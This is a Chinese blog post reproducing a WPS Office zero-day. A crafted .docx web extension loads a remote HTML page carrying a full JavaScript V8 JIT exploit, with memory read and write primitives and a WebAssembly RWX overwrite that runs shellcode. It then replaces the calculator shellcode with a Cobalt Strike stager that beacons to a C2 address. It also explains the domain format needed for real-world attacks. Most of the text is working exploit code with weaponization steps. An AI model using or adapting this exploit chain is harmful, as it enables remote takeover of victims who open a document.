声明:本文章仅供学术交流,请勿直接用于任何商业场合和非法用途。如用于其它用途,由使用者承担全部法律及连带责任,本人及本站不承担任何法律责任。
0x01 前言
前几天 WPS Office 出了个0day,到今天也有一个多星期了,在小迪师傅的直播教学后,终于有时间来复现一下这个“过期”的 0day 了,也是我第一次写文章来复现“0day”漏洞,后续要是还有什么能在我接受范围内来复现的漏洞,我也会发布文章出来。
先来看一下网上的介绍:攻击者利用本漏洞专门构造出恶意文档,受害者打开该文档并执行相应操作后,才会联网从远程服务器下载恶意代码到指定目录并执行,前提是系统当前用户对该目录具备写权限,攻击者进而控制其电脑。同时,官方也建议用户是更新到最新版本。
接下来,我也复现一下这个漏洞。
0x02 正文
原理分析
首先是讲一下原理,在 poc.docx
中,有一个Web拓展,将文档后缀改为 .zip
后解压,打开 poc\word\webExtensions
就可以看到这个文件:webExtension1.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<wpswe:webExtension xmlns:wpswe="http://www.wps.cn/officeDocument/2018/webExtension">
<wpswe:extSource id="dschart" version="1.0"/>
<wpswe:properties>
<wpswe:property key="DiscardFirstCodeChange" value="1"/>
<wpswe:property key="autoSnapshot" value="0"/>
<wpswe:property key="dschart"
value="{"dschart_id":"3612096174443311105-4","id":"169"}"/>
<wpswe:property key="isUseCommonErrorPage" value="false"/>
<wpswe:property key="loadingImage" value="res:/icons/DsWebShapeDefaultPage.svg"/>
</wpswe:properties>
<wpswe:watchingCache>
<wpswe:linkPath>C:/Users/zxcv/AppData/Local/Temp/wps.hrngAX/Workbook1.xlsx</wpswe:linkPath>
</wpswe:watchingCache>
<wpswe:snapshot xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" r:embed="rId2"/>
<wpswe:externalData xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" r:id="rId1"/>
<wpswe:url>http://clientweb.docer.wps.cn.cloudwps.cn/1.html</wpswe:url>
<wpswe:constantSnapshot>false</wpswe:constantSnapshot>
</wpswe:webExtension>
这个文件当中 wpswe:url(17行)
标签定义的链接就访问了我们的服务器,请求的路径是 1.html
,这里我们就可以知道大致原理了,用户点击文档后,触发了这个 web 拓展,导致软件向远程服务器发起请求,远程服务器返回的就是所要执行的代码,我们看看 1.html
文件当中的内容
<script>
if(typeof alert === "undefined"){
alert = console.log;
}
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function gc(){ // major
for (let i = 0; i < 0x10; i++) {
new Array(0x100000);
}
}
function foo(bug) {
function C(z) {
Error.prepareStackTrace = function(t, B) {
return B[z].getThis();
};
let p = Error().stack;
Error.prepareStackTrace = null;
return p;
}
function J() {}
var optim = false;
var opt = new Function(
'a', 'b', 'c',
'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
'g++;'.repeat(70));
var e = null;
J.prototype.d = new Function(
'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
J.prototype.a = new Function('a', 'a.b(0,a)');
J.prototype.b = new Function(
'a', 'b',
'b.c();if(a){' +
'g++;'.repeat(70) + '}');
J.prototype.c = function() {
if (optim) {
var z = C(3);
var p = C(3);
z[0] = 0;
e = {M: z, C: p};
}
};
var a = new J();
// jit optim
if (bug) {
for (var V = 0; 1E4 > V; V++) {
opt(0 == V % 4 ? 1 : 4, a, 1);
}
}
optim = true;
opt(1, a, 1);
return e;
}
e1 = foo(false);
e2 = foo(true);
delete e2.M[0];
let hole = e2.C[0];
let map = new Map();
map.set('asd', 8);
map.set(hole, 0x8);
map.delete(hole);
map.delete(hole);
map.delete("asd");
map.set(0x20, "aaaa");
let arr3 = new Array(0);
let arr4 = new Array(0);
let arr5 = new Array(1);
let oob_array = [];
oob_array.push(1.1);
map.set("1", -1);
let obj_array = {
m: 1337, target: gc
};
let ab = new ArrayBuffer(1337);
let object_idx = undefined;
let object_idx_flag = undefined;
let max_size = 0x1000;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] === 0xa72) {
object_idx = i;
object_idx_flag = 1;
break;
}if (d2u(oob_array[i])[1] === 0xa72) {
object_idx = i + 1;
object_idx_flag = 0;
break;
}
}
function addrof(obj_para) {
obj_array.target = obj_para;
let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
obj_array.target = gc;
return addr;
}
function fakeobj(addr) {
let r8 = d2u(oob_array[object_idx]);
if (object_idx_flag === 0) {
oob_array[object_idx] = u2d(addr, r8[1]);
}else {
oob_array[object_idx] = u2d(r8[0], addr);
}
return obj_array.target;
}
let bk_idx = undefined;
let bk_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] === 1337) {
bk_idx = i;
bk_idx_flag = 1;
break;
}if (d2u(oob_array[i])[1] === 1337) {
bk_idx = i + 1;
bk_idx_flag = 0;
break;
}
}
let dv = new DataView(ab);
function get_32(addr) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
let val = dv.getUint32(0, true);
oob_array[bk_idx] = u2d(r8[0], r8[1]);
return val;
}
function set_32(addr, val) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
dv.setUint32(0, val, true);
oob_array[bk_idx] = u2d(r8[0], r8[1]);
}
function write8(addr, val) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
dv.setUint8(0, val);
}
let fake_length = get_32(addrof(oob_array)+12);
set_32(get_32(addrof(oob_array)+8)+4,fake_length);
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
let target_addr = addrof(wasm_instance)+0x40;
let rwx_mem = get_32(target_addr);
//alert("rwx_mem is"+rwx_mem.toString(16));
const shellcode = new Uint8Array([0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x00]);
for(let i=0;i<shellcode.length;i++){
write8(rwx_mem+i,shellcode[i]);
}
f();
</script>
整个文件下来都是 js,而最为关键的就是 shellcode
这个变量,这就是用来执行的命令。
影响版本
环境配置
本地主机(Win11):ip地址:192.168.127.217
受害主机(Win10):ip地址:192.168.127.15
本地服务器(Win10):ip地址:192.168.127.71
WPS版本:WPS 11.1.0.12313 个人版
首先,受害主机上将 192.168.127.71 clientweb.docer.wps.cn.cloudwps.cn
添加至 C:/Windows/System32/drivers/etc
下的 hosts
文件中,这样做的目的是为了将域名解析至本地服务器上。通过 Ping 域名来验证是否解析至本地服务器
然后,将 1.html 文件上传至服务器,并在该文件路径下启动http服务
python -m http.server 80 # 启动http服务
受害主机上点击 poc.docx
文件,本地服务器收到了请求
受害主机上弹出了计算器
这个弹出计算器的POC也是基础的,接下来试一试在实战中的用法。
实战利用方法
既然它可以执行命令,那么我们就可以放入反弹shell,msf后门,cs后门等进去,但因为太菜了,只会用CS生成 Payload ,将里面的 ShellCode 替换到1.html文件里。因为只是做测试并没有申请域名,域名的用途会在末尾说。
在生成使用 Payload 生成器的时候,一定要选择 C/C#
类型的。
这是我生成的
/* length: 800 bytes */
byte[] buf = new byte[800] { 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x68, 0x6e, 0x65, 0x74, 0x00, 0x68, 0x77, 0x69, 0x6e, 0x69, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 0x57, 0x68, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xe9, 0x84, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xc9, 0x51, 0x51, 0x6a, 0x03, 0x51, 0x51, 0x68, 0x61, 0x1e, 0x00, 0x00, 0x53, 0x50, 0x68, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x70, 0x5b, 0x31, 0xd2, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x52, 0x53, 0x52, 0x50, 0x68, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x89, 0xc6, 0x83, 0xc3, 0x50, 0x31, 0xff, 0x57, 0x57, 0x6a, 0xff, 0x53, 0x56, 0x68, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x84, 0xc3, 0x01, 0x00, 0x00, 0x31, 0xff, 0x85, 0xf6, 0x74, 0x04, 0x89, 0xf9, 0xeb, 0x09, 0x68, 0xaa, 0xc5, 0xe2, 0x5d, 0xff, 0xd5, 0x89, 0xc1, 0x68, 0x45, 0x21, 0x5e, 0x31, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x6a, 0x07, 0x51, 0x56, 0x50, 0x68, 0xb7, 0x57, 0xe0, 0x0b, 0xff, 0xd5, 0xbf, 0x00, 0x2f, 0x00, 0x00, 0x39, 0xc7, 0x74, 0xb7, 0x31, 0xff, 0xe9, 0x91, 0x01, 0x00, 0x00, 0xe9, 0xc9, 0x01, 0x00, 0x00, 0xe8, 0x8b, 0xff, 0xff, 0xff, 0x2f, 0x32, 0x6d, 0x69, 0x54, 0x00, 0xbd, 0x61, 0x3c, 0x7f, 0x6c, 0x04, 0x8a, 0xe9, 0xab, 0x73, 0xe8, 0xb1, 0x9e, 0xfb, 0x50, 0xfa, 0xc7, 0x21, 0x3c, 0x11, 0xab, 0x55, 0xb0, 0x14, 0x55, 0x90, 0x1a, 0xd8, 0x97, 0x4f, 0xe9, 0xc1, 0x84, 0x33, 0x9b, 0x00, 0x4d, 0xfd, 0xb1, 0x00, 0x6a, 0x23, 0x86, 0xb4, 0x86, 0x83, 0x4a, 0x3d, 0x47, 0x25, 0xb3, 0x19, 0x04, 0x6a, 0x5b, 0xaf, 0x30, 0x09, 0xf4, 0x15, 0x0d, 0x53, 0xfc, 0x0c, 0x6e, 0xfb, 0x68, 0x2a, 0xe8, 0x9d, 0x90, 0x9d, 0x36, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x31, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e, 0x30, 0x3b, 0x20, 0x42, 0x4f, 0x49, 0x45, 0x39, 0x3b, 0x45, 0x4e, 0x55, 0x53, 0x29, 0x0d, 0x0a, 0x00, 0xca, 0x56, 0x5c, 0xb2, 0xe0, 0x42, 0xb3, 0x37, 0xdc, 0x0f, 0x2a, 0x4a, 0xc4, 0xef, 0xb1, 0x45, 0x3d, 0xeb, 0x51, 0x5b, 0x3b, 0xf8, 0x66, 0xac, 0x56, 0x3a, 0x58, 0xbb, 0x18, 0x0b, 0x81, 0x68, 0x93, 0xb2, 0xfe, 0x32, 0x9a, 0x34, 0x2d, 0xc8, 0x9f, 0xa0, 0x5b, 0x0c, 0x84, 0x97, 0xc3, 0xf7, 0x0b, 0xbb, 0xb6, 0xd9, 0xa5, 0xde, 0xe1, 0xd1, 0x8f, 0x63, 0xcf, 0x8b, 0xc7, 0x9a, 0x9c, 0xb4, 0xd9, 0x4f, 0x94, 0x11, 0x38, 0x67, 0xea, 0xfa, 0xdd, 0x84, 0x98, 0xea, 0x50, 0x73, 0x47, 0x5f, 0x85, 0x21, 0x49, 0x8a, 0x4e, 0xa1, 0x6b, 0xc8, 0xc0, 0xc7, 0xe5, 0x5c, 0x6e, 0x22, 0xa4, 0x97, 0xa0, 0x15, 0xb3, 0x16, 0xab, 0x70, 0xce, 0x88, 0x12, 0xa7, 0x4a, 0xbf, 0x4c, 0xa7, 0x9e, 0x01, 0xeb, 0xd5, 0xee, 0x15, 0xb0, 0x89, 0x93, 0x29, 0xe7, 0x1a, 0xb9, 0x48, 0xce, 0xa4, 0xc9, 0xbe, 0x5c, 0xdf, 0x26, 0xeb, 0x09, 0xb6, 0xf7, 0x32, 0xdc, 0x07, 0xa5, 0x8e, 0x7c, 0x6a, 0x79, 0xca, 0x4b, 0x9d, 0x08, 0x3a, 0x5b, 0xb3, 0x9d, 0x5e, 0xae, 0xd7, 0x47, 0xac, 0xa9, 0x68, 0x68, 0x8d, 0x05, 0xd3, 0x5b, 0xc9, 0x56, 0x49, 0x74, 0xdb, 0x28, 0xc0, 0x10, 0x1d, 0xe6, 0x69, 0xed, 0xfe, 0xc3, 0x53, 0xe5, 0xae, 0x1a, 0xf3, 0x71, 0x71, 0x46, 0x78, 0x8f, 0xaf, 0xab, 0x48, 0x26, 0x5a, 0x12, 0xe8, 0xe0, 0xd8, 0x91, 0x16, 0x74, 0x4f, 0xc8, 0x2e, 0x0f, 0x1f, 0xe8, 0x55, 0xae, 0x11, 0xd0, 0x3e, 0x5b, 0x50, 0xee, 0x00, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x00, 0x40, 0x00, 0x57, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x01, 0xd9, 0x51, 0x53, 0x89, 0xe7, 0x57, 0x68, 0x00, 0x20, 0x00, 0x00, 0x53, 0x56, 0x68, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0xc6, 0x8b, 0x07, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xe5, 0x58, 0xc3, 0xe8, 0xa9, 0xfd, 0xff, 0xff, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x32, 0x37, 0x2e, 0x31, 0x36, 0x33, 0x00, 0x3a, 0xde, 0x68, 0xb1 };
将其替换至上方html文件当中的shellcode
,文件内容保存后退出,然后重新安装WPS,启动http服务(前面复现完关闭的),点击受害主机上的 poc 文档,受害主机正常打开了文档,服务器上收到了请求,而CS没有任何反应。最后也是用本地主机进行上线,结果如下:
到这里,实战的用法也成功实现了一遍。
WPS 访问 wpswe:url
中的链接是需要满足这个格式的 clientweb.docer.wps.cn.{xxxxx}wps.cn
,5个 'x' 的地方随便什么字符都可以,其他位置满足了就好,所以要先申请好 {xxxxx}wps.cn
格式的域名,再对域名做好解析,请求服务器上带有 payload 的html文件。
0x03 总结
这次的漏洞复现算是圆满成功,虽然受害主机只起到了复现的作用,并没有参与到实战利用中,但至少给大家提了个醒,以后做类似的实验或是复现漏洞,虚拟机的运行内存别给太小了,不然就有可能发生我这种情况。同时,也感谢小迪师傅的教学和提供的复现资源。
本篇 完
参与讨论